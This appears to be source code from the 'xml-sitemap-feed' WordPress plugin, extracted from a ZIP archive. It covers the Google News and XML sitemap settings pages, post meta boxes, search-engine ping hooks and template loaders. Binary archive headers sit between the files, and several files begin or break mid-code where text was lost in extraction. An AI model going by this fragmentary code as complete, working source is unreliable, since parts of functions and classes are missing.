update_post_meta( $post_id, '_xmlsf_news_exclude', '1' ); } /** * SETTINGS */ /** * Add options page */ public function add_settings_page() { // This page will be under "Settings" $screen_id = add_options_page( __('Google News Sitemap','xml-sitemap-feed'), __('Google News','xml-sitemap-feed'), 'manage_options', 'xmlsf_news', array( $this, 'settings_page' ) ); // Help tab add_action( 'load-'.$screen_id, array( $this, 'help_tab' ) ); } /** * Options page callback */ public function settings_page() { $this->options = (array) get_option( 'xmlsf_news_tags', array() ); $sitemaps = (array) get_option( 'xmlsf_sitemaps', array() ); $url = trailingslashit(get_bloginfo('url')) . ( xmlsf()->plain_permalinks() || empty($sitemaps['sitemap-news']) ? '?feed=sitemap-news' : $sitemaps['sitemap-news'] ); $active_tab = isset( $_GET[ 'tab' ] ) ? $_GET[ 'tab' ] : 'general'; do_action( 'xmlsf_news_add_settings', $active_tab ); include XMLSF_DIR . '/views/admin/page-sitemap-news.php'; } /** * Add advanced settings */ public function add_settings( $active_tab = '' ) { if ( 'advanced' == $active_tab ) { // ADVANCED SECTION add_settings_section( 'news_sitemap_advanced_section', /* ''.__('Google News Sitemap','xml-sitemap-feed') */ '', '', 'xmlsf_news_advanced' ); // Keywords add_settings_field( 'xmlsf_news_keywords', __('Keywords', 'xml-sitemap-feed' ), array( $this,'keywords_field' ), 'xmlsf_news_advanced', 'news_sitemap_advanced_section' ); // Stock tickers add_settings_field( 'xmlsf_news_stock_tickers', __('Stock tickers', 'xml-sitemap-feed' ), array( $this,'stock_tickers_field' ), 'xmlsf_news_advanced', 'news_sitemap_advanced_section' ); // Ping log add_settings_field( 'xmlsf_news_ping_log', __('Ping log', 'xml-sitemap-feed' ), array( $this,'ping_log_field' ), 'xmlsf_news_advanced', 'news_sitemap_advanced_section' ); } else { // GENERAL SECTION add_settings_section( 'news_sitemap_general_section', /* ''.__('Google News Sitemap','xml-sitemap-feed') */ '', '', 'xmlsf_news_general' ); // SETTINGS add_settings_field( 'xmlsf_news_name', '', array($this,'name_field'), 'xmlsf_news_general', 'news_sitemap_general_section' ); add_settings_field( 'xmlsf_news_post_type', __('Post type','xml-sitemap-feed'), array($this,'post_type_field'), 'xmlsf_news_general', 'news_sitemap_general_section' ); global $wp_taxonomies; $news_post_type = isset( $this->options['post_type'] ) && !empty( $this->options['post_type'] ) ? (array) $this->options['post_type'] : array('post'); $post_types = ( isset( $wp_taxonomies['category'] ) ) ? $wp_taxonomies['category']->object_type : array(); foreach ( $news_post_type as $post_type ) { if ( in_array( $post_type, $post_types ) ) { add_settings_field( 'xmlsf_news_categories', translate('Categories'), array($this,'categories_field'), 'xmlsf_news_general', 'news_sitemap_general_section' ); break; } } // Source labels - deprecated add_settings_field( 'xmlsf_news_labels', __('Source labels', 'xml-sitemap-feed' ), array($this,'labels_field'), 'xmlsf_news_general', 'news_sitemap_general_section' ); } } /** * Register settings */ public function register_settings() { register_setting( 'xmlsf_news_general', 'xmlsf_news_tags', array('XMLSF_Admin_Sitemap_News_Sanitize','news_tags_settings') ); } /** * GOOGLE NEWS SITEMAP SECTION */ public function help_tab() { $screen = get_current_screen(); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-news.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-news-settings', 'title' => __( 'Google News Sitemap', 'xml-sitemap-feed' ), 'content' => $content ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-news-name.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-news-name', 'title' => __( 'Publication name', 'xml-sitemap-feed' ), 'content' => $content ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-news-categories.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-news-categories', 'title' => translate('Categories'), 'content' => $content ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-news-keywords.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-news-keywords', 'title' => __( 'Keywords', 'xml-sitemap-feed' ), 'content' => $content ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-news-stocktickers.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-news-stocktickers', 'title' => __( 'Stock tickers', 'xml-sitemap-feed' ), 'content' => $content ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-news-labels.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-news-labels', 'title' => __( 'Source labels', 'xml-sitemap-feed' ), 'content' => $content ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-news-sidebar.php'; $content = ob_get_clean(); $screen->set_help_sidebar( $content ); } public function name_field() { $name = !empty($this->options['name']) ? $this->options['name'] : ''; // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-news-name.php'; } public function post_type_field() { global $wp_taxonomies; $post_types = apply_filters( 'xmlsf_news_post_types', get_post_types( array( 'public' => true ) /*,'objects'*/) ); if ( is_array($post_types) && !empty($post_types) ) : $news_post_type = isset($this->options['post_type']) && !empty( $this->options['post_type'] ) ? (array) $this->options['post_type'] : array('post'); $type = apply_filters( 'xmlsf_news_post_type_field_type', 1 == count( $news_post_type ) ? 'radio' : 'checkbox' ); $allowed = ( !empty( $this->options['categories'] ) && isset( $wp_taxonomies['category'] ) ) ? $wp_taxonomies['category']->object_type : $post_types; $do_warning = !empty( $this->options['categories'] ) && count($post_types) > 1 ? true : false; // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-news-post-type.php'; else : echo '

      '.__('There appear to be no post types available.','xml-sitemap-feed').'

      '; endif; } public function categories_field() { $selected_categories = isset( $this->options['categories'] ) && is_array( $this->options['categories'] ) ? $this->options['categories'] : array(); $cat_list = str_replace('name="post_category[]"','name="'.'xmlsf_news_tags[categories][]"', wp_terms_checklist( null, array( 'taxonomy' => 'category', 'selected_cats' => $selected_categories, 'echo' => false ) ) ); // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-news-categories.php'; } public function keywords_field() { // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-news-keywords.php'; } public function stock_tickers_field() { // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-news-stocktickers.php'; } public function ping_log_field() { // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-news-ping-log.php'; } public function labels_field() { // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-news-labels.php'; } } new XMLSF_Admin_Sitemap_News(); function xmlsf_news_section_advanced_intro( $active_tab = '' ) { if ( 'advanced' == $active_tab ) include XMLSF_DIR . '/views/admin/section-advanced-intro.php'; } PK.—[P§¸Åì9ì9:xml-sitemap-feed/controllers/class.xmlsf-admin-sitemap.phpnu„[µü¤ $settings ) { if ( !empty( $settings['active'] ) && !empty( $settings['archive'] ) ) { add_action( 'admin_notices', array( 'XMLSF_Admin_Notices', 'notice_wpseo_date_redirect' ) ); break; } } } } // check wpseo sitemap option if ( !in_array( 'wpseo_sitemap', parent::$dismissed ) ) { $wpseo = get_option( 'wpseo' ); if ( !empty( $wpseo['enable_xml_sitemap'] ) ) { add_action( 'admin_notices', array( 'XMLSF_Admin_Notices', 'notice_wpseo_sitemap' ) ); } } } // SEOPress conflict notices if ( is_plugin_active('wp-seopress/seopress.php') ) { // check date archive redirection $seopress_toggle = get_option( 'seopress_toggle' ); if ( !in_array( 'seopress_date_redirect', parent::$dismissed ) ) { $seopress_titles = get_option( 'seopress_titles_option_name' ); if ( ! empty( $seopress_toggle['toggle-titles'] ) && ! empty( $seopress_titles['seopress_titles_archives_date_disable'] ) ) { // check if Split by option is set anywhere foreach ( (array) get_option( 'xmlsf_post_types', array() ) as $type => $settings ) { if ( !empty( $settings['active'] ) && !empty( $settings['archive'] ) ) { add_action( 'admin_notices', array( 'XMLSF_Admin_Notices', 'notice_seopress_date_redirect' ) ); break; } } } } // check seopress sitemap option if ( !in_array( 'seopress_sitemap', parent::$dismissed ) ) { $seopress_xml_sitemap = get_option( 'seopress_xml_sitemap_option_name' ); if ( ! empty( $seopress_toggle['toggle-xml-sitemap'] ) && !empty( $seopress_xml_sitemap['seopress_xml_sitemap_general_enable'] ) ) { add_action( 'admin_notices', array( 'XMLSF_Admin_Notices', 'notice_seopress_sitemap' ) ); } } } // Rank Math conflict notices if ( is_plugin_active('seo-by-rank-math/rank-math.php') ) { // check date archive redirection if ( !in_array( 'rankmath_date_redirect', parent::$dismissed ) ) { $rankmath_titles = get_option( 'rank-math-options-titles' ); if ( ! empty( $rankmath_titles['disable_date_archives'] ) && $rankmath_titles['disable_date_archives'] == 'on' ) { // check if Split by option is set anywhere foreach ( (array) get_option( 'xmlsf_post_types', array() ) as $type => $settings ) { if ( !empty( $settings['active'] ) && !empty( $settings['archive'] ) ) { add_action( 'admin_notices', array( 'XMLSF_Admin_Notices', 'notice_rankmath_date_redirect' ) ); break; } } } } // check rank math sitemap option if ( !in_array( 'rankmath_sitemap', parent::$dismissed ) ) { $rankmath_modules = (array) get_option( 'rank_math_modules' ); if ( in_array( 'sitemap', $rankmath_modules ) ) { add_action( 'admin_notices', array( 'XMLSF_Admin_Notices', 'notice_rankmath_sitemap' ) ); } } } } /** * META BOXES */ /* Adds a XML Sitemap box to the side column */ public function add_meta_box() { $post_types = get_option( 'xmlsf_post_types' ); if ( !is_array( $post_types ) ) return; foreach ( $post_types as $post_type => $settings ) { // Only include metaboxes on post types that are included if ( isset( $settings["active"] ) ) add_meta_box( 'xmlsf_section', __( 'XML Sitemap', 'xml-sitemap-feed' ), array( $this, 'meta_box' ), $post_type, 'side', 'low' ); } } public function meta_box( $post ) { // Use nonce for verification wp_nonce_field( XMLSF_BASENAME, '_xmlsf_nonce' ); // Use get_post_meta to retrieve an existing value from the database and use the value for the form $exclude = get_post_meta( $post->ID, '_xmlsf_exclude', true ); $priority = get_post_meta( $post->ID, '_xmlsf_priority', true ); $disabled = false; // priority value precheck to prevent "invalid form control not focusable" when meta box is hidden if ( !empty($priority) && is_numeric($priority) ) { $priority = xmlsf_sanitize_priority( $priority ); } else { $priority = ''; } // disable options and (visibly) set excluded to true for private posts if ( 'private' == $post->post_status ) { $disabled = true; $exclude = true; } // disable options and (visibly) set priority to 1 for front page if ( $post->ID == get_option('page_on_front') ) { $disabled = true; $exclude = false; $priority = '1'; // force priority to 1 for front page } $description = sprintf( __('Leave empty for automatic Priority as configured on %1$s > %2$s.','xml-sitemap-feed'), translate('Settings'), '' . __('XML Sitemap','xml-sitemap-feed') . '' ); // The actual fields for data entry include XMLSF_DIR . '/views/admin/meta-box.php'; } /* When the post is saved, save our meta data */ public function save_metadata( $post_id ) { if ( // verify nonce ! isset($_POST['_xmlsf_nonce']) || ! wp_verify_nonce($_POST['_xmlsf_nonce'], XMLSF_BASENAME) || // user not allowed ! current_user_can( 'edit_post', $post_id ) ) return; // _xmlsf_priority if ( empty($_POST['xmlsf_priority']) || ! is_numeric($_POST['xmlsf_priority']) ) delete_post_meta($post_id, '_xmlsf_priority'); else update_post_meta($post_id, '_xmlsf_priority', xmlsf_sanitize_priority( $_POST['xmlsf_priority'] ) ); // _xmlsf_exclude if ( empty($_POST['xmlsf_exclude']) ) delete_post_meta($post_id, '_xmlsf_exclude'); else update_post_meta($post_id, '_xmlsf_exclude', $_POST['xmlsf_exclude']); } /** * Gets public taxonomies */ public function public_taxonomies() { if ( !isset( $this->public_taxonomies ) ) { $this->public_taxonomies = xmlsf_public_taxonomies(); } return $this->public_taxonomies; } /** * Add options page */ public function add_settings_page() { // This page will be under "Settings" $this->screen_id = add_options_page( __('XML Sitemap','xml-sitemap-feed'), __('XML Sitemap','xml-sitemap-feed'), 'manage_options', 'xmlsf', array( $this, 'settings_page' ) ); } /** * Options page callback */ public function settings_page() { // SECTIONS & SETTINGS // post_types add_settings_section( 'xml_sitemap_post_types_section', /*''.__('XML Sitemap','xml-sitemap-feed')*/ '', '', 'xmlsf_post_types' ); $post_types = apply_filters( 'xmlsf_post_types', get_post_types( array( 'public' => true ) /*,'objects'*/) ); if ( is_array($post_types) && !empty($post_types) ) : foreach ( $post_types as $post_type ) { $obj = get_post_type_object( $post_type ); if ( !is_object( $obj ) ) continue; add_settings_field( 'xmlsf_post_type_'.$obj->name, $obj->label, array($this,'post_types_settings_field'), 'xmlsf_post_types', 'xml_sitemap_post_types_section', $post_type ); // Note: (ab)using section name parameter to pass post type name } endif; // taxonomies add_settings_section( 'xml_sitemap_taxonomies_section', /*''.__('XML Sitemap','xml-sitemap-feed')*/ '', '', 'xmlsf_taxonomies' ); add_settings_field( 'xmlsf_taxonomy_settings', translate('General'), array($this,'taxonomy_settings_field'), 'xmlsf_taxonomies', 'xml_sitemap_taxonomies_section' ); add_settings_field( 'xmlsf_taxonomies', __('Taxonomies','xml-sitemap-feed'), array($this,'taxonomies_field'), 'xmlsf_taxonomies', 'xml_sitemap_taxonomies_section' ); add_settings_section( 'xml_sitemap_advanced_section', /*''.__('XML Sitemap','xml-sitemap-feed')*/ '', '', 'xmlsf_advanced' ); // custom urls add_settings_field( 'xmlsf_urls', __('External web pages','xml-sitemap-feed'), array($this,'urls_settings_field'), 'xmlsf_advanced', 'xml_sitemap_advanced_section' ); // custom sitemaps add_settings_field( 'xmlsf_custom_sitemaps', __('External XML Sitemaps','xml-sitemap-feed'), array($this,'custom_sitemaps_settings_field'), 'xmlsf_advanced', 'xml_sitemap_advanced_section' ); $active_tab = isset( $_GET[ 'tab' ] ) ? $_GET[ 'tab' ] : 'post_types'; $sitemaps = (array) get_option( 'xmlsf_sitemaps', array() ); $url = trailingslashit(get_bloginfo('url')) . ( xmlsf()->plain_permalinks() || empty($sitemaps['sitemap']) ? '?feed=sitemap' : $sitemaps['sitemap'] ); include XMLSF_DIR . '/views/admin/page-sitemap.php'; } /** * Register and add settings */ public function register_settings() { // Help tab add_action( 'load-'.$this->screen_id, array($this,'help_tab') ); // post_types register_setting( 'xmlsf_post_types', 'xmlsf_post_types', array('XMLSF_Admin_Sitemap_Sanitize','post_types_settings') ); // taxonomies register_setting( 'xmlsf_taxonomies', 'xmlsf_taxonomy_settings', array('XMLSF_Admin_Sitemap_Sanitize','taxonomy_settings') ); register_setting( 'xmlsf_taxonomies', 'xmlsf_taxonomies', array('XMLSF_Admin_Sitemap_Sanitize','taxonomies') ); // custom urls register_setting( 'xmlsf_advanced', 'xmlsf_urls', array('XMLSF_Admin_Sitemap_Sanitize','custom_urls_settings') ); // custom sitemaps register_setting( 'xmlsf_advanced', 'xmlsf_custom_sitemaps', array('XMLSF_Admin_Sitemap_Sanitize','custom_sitemaps_settings') ); } /** * XML SITEMAP SECTION */ public function help_tab() { $screen = get_current_screen(); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-sitemaps.php'; include XMLSF_DIR . '/views/admin/help-tab-support.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-settings', 'title' => __( 'XML Sitemap', 'xml-sitemap-feed' ), 'content' => $content ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-post-types.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-settings-post-types', 'title' => __( 'Post types', 'xml-sitemap-feed' ), 'content' => $content ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-taxonomies.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-settings-taxonomies', 'title' => __( 'Taxonomies', 'xml-sitemap-feed' ), 'content' => $content, ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-advanced.php'; $content = ob_get_clean(); $screen->add_help_tab( array( 'id' => 'sitemap-settings-advanced', 'title' => translate( 'Advanced' ), 'content' => $content ) ); ob_start(); include XMLSF_DIR . '/views/admin/help-tab-sidebar.php'; $content = ob_get_clean(); $screen->set_help_sidebar( $content ); } public function post_types_settings_field( $post_type ) { // post type slug passed as section name $obj = get_post_type_object( $post_type ); $count = wp_count_posts( $obj->name ); $options = get_option( 'xmlsf_post_types' ); // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-sitemap-post-type.php'; } public function taxonomy_settings_field() { $taxonomy_settings = get_option( 'xmlsf_taxonomy_settings' ); // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-sitemap-taxonomy-settings.php'; } public function taxonomies_field() { $taxonomies = get_option( 'xmlsf_taxonomies' ); // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-sitemap-taxonomies.php'; } public function custom_sitemaps_settings_field() { $custom_sitemaps = get_option( 'xmlsf_custom_sitemaps' ); $lines = is_array($custom_sitemaps) ? implode( PHP_EOL, $custom_sitemaps ) : $custom_sitemaps; // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-sitemap-custom.php'; } public function urls_settings_field() { $urls = get_option( 'xmlsf_urls' ); $lines = array(); if( is_array($urls) && !empty($urls) ) { foreach( $urls as $arr ) { if( is_array($arr) ) $lines[] = implode( " ", $arr ); } } // The actual fields for data entry include XMLSF_DIR . '/views/admin/field-sitemap-urls.php'; } } new XMLSF_Admin_Sitemap(); PK.—[NS{"  9xml-sitemap-feed/controllers/class.xmlsf-sitemap-news.phpnu„[µü¤sitemap = $sitemap; // PINGING add_action( 'transition_post_status', array( $this, 'do_ping' ), 10, 3 ); // FEED TEMPLATES add_action( 'do_feed_sitemap-news', 'xmlsf_news_load_template', 10, 1 ); } /** * Do pings, hooked to transition post status * * @param $new_status * @param $old_status * @param $post */ public function do_ping( $new_status, $old_status, $post ) { // bail out when already published or not publishing if ( $old_status == 'publish' || $new_status != 'publish' ) return; // bail out when REST API call without new post data, see Gutenberg issue https://github.com/WordPress/gutenberg/issues/15094 // NO ! Don't bail out now because there will be no other chance as long as bug is not fixed... // ... we'll have to make do without $_POST data so potentially incorrect get_post_meta() information. //if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) return; // bail out when Google ping not checked if ( ! in_array( 'google', (array) get_option( 'xmlsf_ping' ) ) ) return; // we're saving from post edit screen if ( ! empty( $_POST ) && ! empty( $_POST['action'] ) && 'editpost' == $_POST['action'] ) { // bail out when exclude field is checked if ( ! empty( $_POST['_xmlsf_news_exclude'] ) ) return; } else { // fall back on exclude meta data from DB whic may be outdated (see bug) if ( get_post_meta( $post->ID, '_xmlsf_news_exclude' ) ) return; } $news_tags = (array) get_option('xmlsf_news_tags'); // is this an active post type? if ( empty( $news_tags['post_type'] ) || ! in_array( $post->post_type, (array) $news_tags['post_type'] ) ) return; // are categories limited and is not in correct category? if ( ! empty( $news_tags['categories'] ) ) { $cats = wp_get_post_categories( $post->ID, array( 'fields' => 'ids' ) ); $intersect = array_intersect( (array) $cats, (array) $news_tags['categories'] ); if ( empty( $intersect ) ) return; } // PING xmlsf_ping( 'google', $this->sitemap, 5 * MINUTE_IN_SECONDS ); } } /** * set up the news sitemap template */ function xmlsf_news_load_template() { load_template( XMLSF_DIR . '/views/feed-sitemap-news.php' ); } PK.—[r²+Æ.Æ.4xml-sitemap-feed/controllers/class.xmlsf-sitemap.phpnu„[µü¤sitemap = $sitemap; // Cache clearance add_action( 'clean_post_cache', array($this,'clean_post_cache'), 99, 2 ); // Update term meta lastmod date add_action( 'transition_post_status', array($this,'update_term_modified_meta'), 10, 3 ); // Update images post meta add_action( 'transition_post_status', array($this,'update_post_images_meta'), 10, 3 ); // Update last comment date post meta add_action( 'transition_comment_status', array($this,'update_post_comment_meta'), 10, 3 ); add_action( 'comment_post', array($this,'update_post_comment_meta_cp'), 10, 3 ); // when comment is not held for moderation // PINGING add_action( 'transition_post_status', array($this,'do_pings'), 10, 3 ); // FEED TEMPLATES add_action( 'do_feed_sitemap', 'xmlsf_load_template_index', 10, 1 ); add_action( 'do_feed_sitemap_index', 'xmlsf_load_template_index', 10, 1 ); add_action( 'do_feed_sitemap-home', 'xmlsf_load_template_home', 10, 1 ); add_action( 'do_feed_sitemap-custom', 'xmlsf_load_template_custom', 10, 1 ); $this->post_types = (array) get_option( 'xmlsf_post_types', array() ); if ( is_array($this->post_types) ) { foreach ( $this->post_types as $post_type => $settings ) { if ( !empty($settings['active']) ) // FEED TEMPLATES add_action( 'do_feed_sitemap-posttype-'.$post_type, 'xmlsf_load_template', 10, 1 ); } } foreach ( xmlsf_get_taxonomies() as $name ) { add_action( 'do_feed_sitemap-taxonomy-'.$name, 'xmlsf_load_template_taxonomy', 10, 1 ); } } /** * Do pings, hooked to transition post status * * @param $new_status * @param $old_status * @param $post */ public function do_pings( $new_status, $old_status, $post ) { // bail out when already published or not publishing if ( $old_status == 'publish' || $new_status != 'publish' ) return; // bail out when REST API call without new post data, see Gutenberg issue https://github.com/WordPress/gutenberg/issues/15094 // NO ! Don't bail out now because there will be no other chance as long as bug is not fixed... // ... we'll have to make do without $_POST data so potentially incorrect get_post_meta() information. //if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) return; // bail out when inactive post type if ( ! array_key_exists( $post->post_type, (array) $this->post_types ) ) return; // we're saving from post edit screen (f.e. 'inline-save' would be from quick edit) if ( ! empty( $_POST ) && ! empty( $_POST['action'] ) && 'editpost' == $_POST['action'] ) { // bail out when exclude field is checked if ( ! empty( $_POST['_xmlsf_exclude'] ) ) return; } else { // fall back on exclude meta data from DB whic may be outdated (see bug) if ( get_post_meta( $post->ID, '_xmlsf_exclude' ) ) return; } $ping = (array) get_option( 'xmlsf_ping', array() ); // PING ! foreach ( $ping as $se ) { xmlsf_ping( $se, $this->sitemap, HOUR_IN_SECONDS ); } } /** * Cache delete on clean_post_cache * * @param $post_ID * @param $post */ public function clean_post_cache( $post_ID, $post ) { // are we moving the post in or out of published status? wp_cache_delete( 'xmlsf_get_archives', 'general' ); // TODO get year / month here to delete specific keys too !!!! $m = mysql2date( 'Ym', $post->post_date, false ); $y = substr( $m, 0, 4 ); // clear possible last post modified cache keys wp_cache_delete( 'lastpostmodified:gmt', 'timeinfo' ); // should be handled by WP core? wp_cache_delete( 'lastpostmodified'.$y.':gmt', 'timeinfo' ); wp_cache_delete( 'lastpostmodified'.$m.':gmt', 'timeinfo' ); wp_cache_delete( 'lastpostmodified'.$y.':gmt:'.$post->post_type, 'timeinfo' ); wp_cache_delete( 'lastpostmodified'.$m.':gmt:'.$post->post_type, 'timeinfo' ); // clear possible last post date cache keys wp_cache_delete( 'lastpostdate:gmt', 'timeinfo' ); wp_cache_delete( 'lastpostdate:gmt:'.$post->post_type, 'timeinfo' ); // clear possible fist post date cache keys wp_cache_delete( 'firstpostdate:gmt', 'timeinfo' ); wp_cache_delete( 'firstpostdate:gmt:'.$post->post_type, 'timeinfo' ); } /** * Update term modified meta, hooked to transition post status * * @param $new_status * @param $old_status * @param $post */ public function update_term_modified_meta( $new_status, $old_status, $post ) { // bail when... if ( // no status transition or not moving in or out of 'publish' status $old_status == $new_status || ( 'publish' != $new_status && 'publish' != $old_status ) || // inactive post type ! array_key_exists($post->post_type, $this->post_types) || empty( $this->post_types[$post->post_type]['active'] ) ) return; $taxonomy_settings = get_option( 'xmlsf_taxonomy_settings' ); // bail if no taxonomies activated if ( ! is_array($taxonomy_settings) || empty( $taxonomy_settings['active'] ) ) return; $taxonomies = get_option( 'xmlsf_taxonomies' ); if ( empty( $taxonomies ) ) $taxonomies = xmlsf_public_taxonomies(); $term_ids = array(); foreach ( (array) $taxonomies as $slug => $name ) { $terms = wp_get_post_terms( $post->ID, $slug, array( 'fields' => 'ids' )); if ( !is_wp_error($terms) ) { $term_ids = array_merge( $term_ids, $terms ); } } $time = date('Y-m-d H:i:s'); foreach( $term_ids as $id ) { update_term_meta( $id, 'term_modified', $time ); } } /** * Update post images meta, hooked to transition post status * * @since 5.2 * * @param $new_status * @param $old_status * @param $post */ public function update_post_images_meta( $new_status, $old_status, $post ) { // bail when... if ( // not publishing or updating $new_status != 'publish' || // inactive post type ! array_key_exists($post->post_type, $this->post_types) || empty( $this->post_types[$post->post_type]['active'] ) || // no image tags active empty( $this->post_types[$post->post_type]['tags']['image'] ) ) return; $which = $this->post_types[$post->post_type]['tags']['image']; // delete old image meta data delete_post_meta( $post->ID, '_xmlsf_image_'.$which ); $this->_add_images_meta( $post, $which ); } /** * Update post comment meta, hooked to transition comment status * * @since 5.2 * * @param string $new_status * @param string $old_status * @param object $comment */ public function update_post_comment_meta( $new_status, $old_status, $comment ) { // bail when not publishing or unpublishing if ( $old_status == $new_status || ( $new_status != 'approved' && $old_status != 'approved' ) ) return; $post_type = get_post_type( $comment->comment_post_ID ); // bail when... if ( ! array_key_exists($post_type, $this->post_types) // inactive post type || empty( $this->post_types[$post_type]['update_lastmod_on_comments'] ) // comments date irrelevant ) return; // update comment meta data update_post_meta( $comment->comment_post_ID, '_xmlsf_comment_date', $comment->comment_date ); } /** * Update post comment meta, hooked to transition comment status * * @since 5.2 * * @param int $comment_ID * @param int $comment_approved * @param array $commentdata */ public function update_post_comment_meta_cp( $comment_ID, $comment_approved, $commentdata ) { // bail when not published if ( $comment_approved !== 1 ) return; $post_type = get_post_type( $commentdata['comment_post_ID'] ); // bail when... if ( ! array_key_exists($post_type, $this->post_types) // inactive post type || empty( $this->post_types[$post_type]['update_lastmod_on_comments'] ) // comments date irrelevant ) return; // update comment meta data update_post_meta( $commentdata['comment_post_ID'], '_xmlsf_comment_date', $commentdata['comment_date'] ); } /** * Prefetch all queried posts image and comment meta data * * @since 5.2 * @uses global $wp_query */ public function prefetch_posts_meta() { if ( ! is_sitemap() ) return; global $wp_query; $post_type = $wp_query->get( 'post_type' ); if ( ! isset($this->post_types[$post_type]) ) return; $y = $wp_query->get( 'year' ); $m = $wp_query->get( 'm' ); if ( empty($m) ) $m = 'all'; // if image tag active then prefetch images if ( isset($this->post_types[$post_type]['tags']) && is_array( $this->post_types[$post_type]['tags'] ) && !empty( $this->post_types[$post_type]['tags']['image'] ) ) { $primed = (array) get_option( 'xmlsf_images_meta_primed', array() ); if ( ! isset( $primed[$post_type] ) || ! is_array( $primed[$post_type] ) || ( ! in_array( $m, $primed[$post_type] ) && ! in_array( $y, $primed[$post_type] ) && ! in_array( 'all', $primed[$post_type] ) ) ) { // prime images meta data foreach ( $wp_query->posts as $post ) { $this->_add_images_meta( $post, $this->post_types[$post_type]['tags']['image'] ); } // add query to primed array $primed[$post_type][] = $m; // update update_option( 'xmlsf_images_meta_primed', $primed ); } } // if update_lastmod_on_comments active then prefetch comments if ( !empty($this->post_types[$post_type]['update_lastmod_on_comments']) ) { $primed = (array) get_option( 'xmlsf_comments_meta_primed', array() ); if ( ! isset( $primed[$post_type] ) || ! is_array( $primed[$post_type] ) || ( ! in_array( $m, $primed[$post_type] ) && ! in_array( $y, $primed[$post_type] ) && ! in_array( 'all', $primed[$post_type] ) ) ) { // prime comment meta data foreach ( $wp_query->posts as $post ) { $this->_add_comment_meta( $post ); } // add query to primed array $primed[$post_type][] = $m; // update update_option( 'xmlsf_comments_meta_primed', $primed ); } } } /** * Set posts images meta data * * @since 5.2 * @param array $post Post object * @param string $which */ private function _add_images_meta( $post, $which ) { if ( ! is_object($post) || ! isset( $post->ID ) ) return; $stored = (array) get_post_meta( $post->ID, '_xmlsf_image_'.$which ); // populate images and add as meta data foreach ( xmlsf_images_data( $post, $which ) as $data ) { if ( ! in_array( $data, $stored ) ) add_post_meta( $post->ID, '_xmlsf_image_'.$which, $data ); } } /** * Set post comment meta data * * @since 5.2 * @param array $post Post object */ private function _add_comment_meta( $post ) { if ( ! is_object( $post ) || ! isset( $post->ID ) ) return; // get latest post comment $comments = get_comments( array( 'status' => 'approve', 'number' => 1, 'post_id' => $post->ID, ) ); if ( isset( $comments[0]->comment_date ) ) update_post_meta( $post->ID, '_xmlsf_comment_date', $comments[0]->comment_date ); } } /** * FEED TEMPLATES */ /** * Set up the sitemap index template */ function xmlsf_load_template_index() { load_template( XMLSF_DIR . '/views/feed-sitemap.php' ); } /** * set up the sitemap home page(s) template */ function xmlsf_load_template_home() { load_template( XMLSF_DIR . '/views/feed-sitemap-home.php' ); } /** * set up the post types sitemap template */ function xmlsf_load_template() { load_template( XMLSF_DIR . '/views/feed-sitemap-post_type.php' ); } /** * set up the taxonomy sitemap template */ function xmlsf_load_template_taxonomy() { load_template( XMLSF_DIR . '/views/feed-sitemap-taxonomy.php' ); } /** * set up the custom sitemap template */ function xmlsf_load_template_custom() { load_template( XMLSF_DIR . '/views/feed-sitemap-custom.php' ); } PK.—[aŠ•2z z *xml-sitemap-feed/controllers/functions.phpnu„[µü¤delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_image_attached' ) ); $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_image_featured' ) ); $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_comment_date' ) ); // terms meta $wpdb->delete( $wpdb->prefix.'termmeta', array( 'meta_key' => 'term_modified' ) ); // remove filter and flush rules remove_filter( 'rewrite_rules_array', 'xmlsf_rewrite_rules', 99 ); // how to unset add_feed() ? flush_rewrite_rules(); } PK.—[ÂJÀzÎÎ1xml-sitemap-feed/controllers/functions.shared.phpnu„[µü¤ID ); $sitepress->switch_lang( $post_language['language_code'] ); } } /** * Generator info */ function xmlsf_generator() { $date = date( 'c' ); require XMLSF_DIR . '/views/_generator.php'; } /** * Usage info for debugging */ function xmlsf_usage() { if ( defined('WP_DEBUG') && WP_DEBUG == true ) { $num = get_num_queries(); $mem = function_exists('memory_get_peak_usage') ? round( memory_get_peak_usage()/1024/1024, 2 ) . 'M' : false; $limit = ini_get('memory_limit'); require XMLSF_DIR . 